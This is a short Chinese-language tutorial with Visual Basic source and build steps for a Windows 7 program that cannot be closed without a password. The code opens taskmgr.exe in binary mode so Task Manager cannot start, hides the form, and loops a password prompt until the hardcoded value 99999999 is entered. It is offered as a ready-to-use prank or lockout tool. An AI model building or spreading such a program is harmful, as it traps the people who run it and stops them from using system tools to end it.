用VB设置一个win7无法关闭的对话框

1、第一步当然是建立一个标准的编程环境，新建好之后双击Form1。

2、编入程序：

Private Sub Form_Load()

Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1

Form1.BorderStyle = 0

 Do While True

       x = Val(InputBox("请输入密码", "输入密码即可关闭"))

       If x = 99999999 Then

            Exit Do

       End If

    Loop

    MsgBox "正确"

End Sub

设个密码可以关闭99999999。

3、然后将form属性框中的Visible改为False。

4、“文件”→“生成工程”选择保存。

5、打开后不输入正确密码关闭不掉。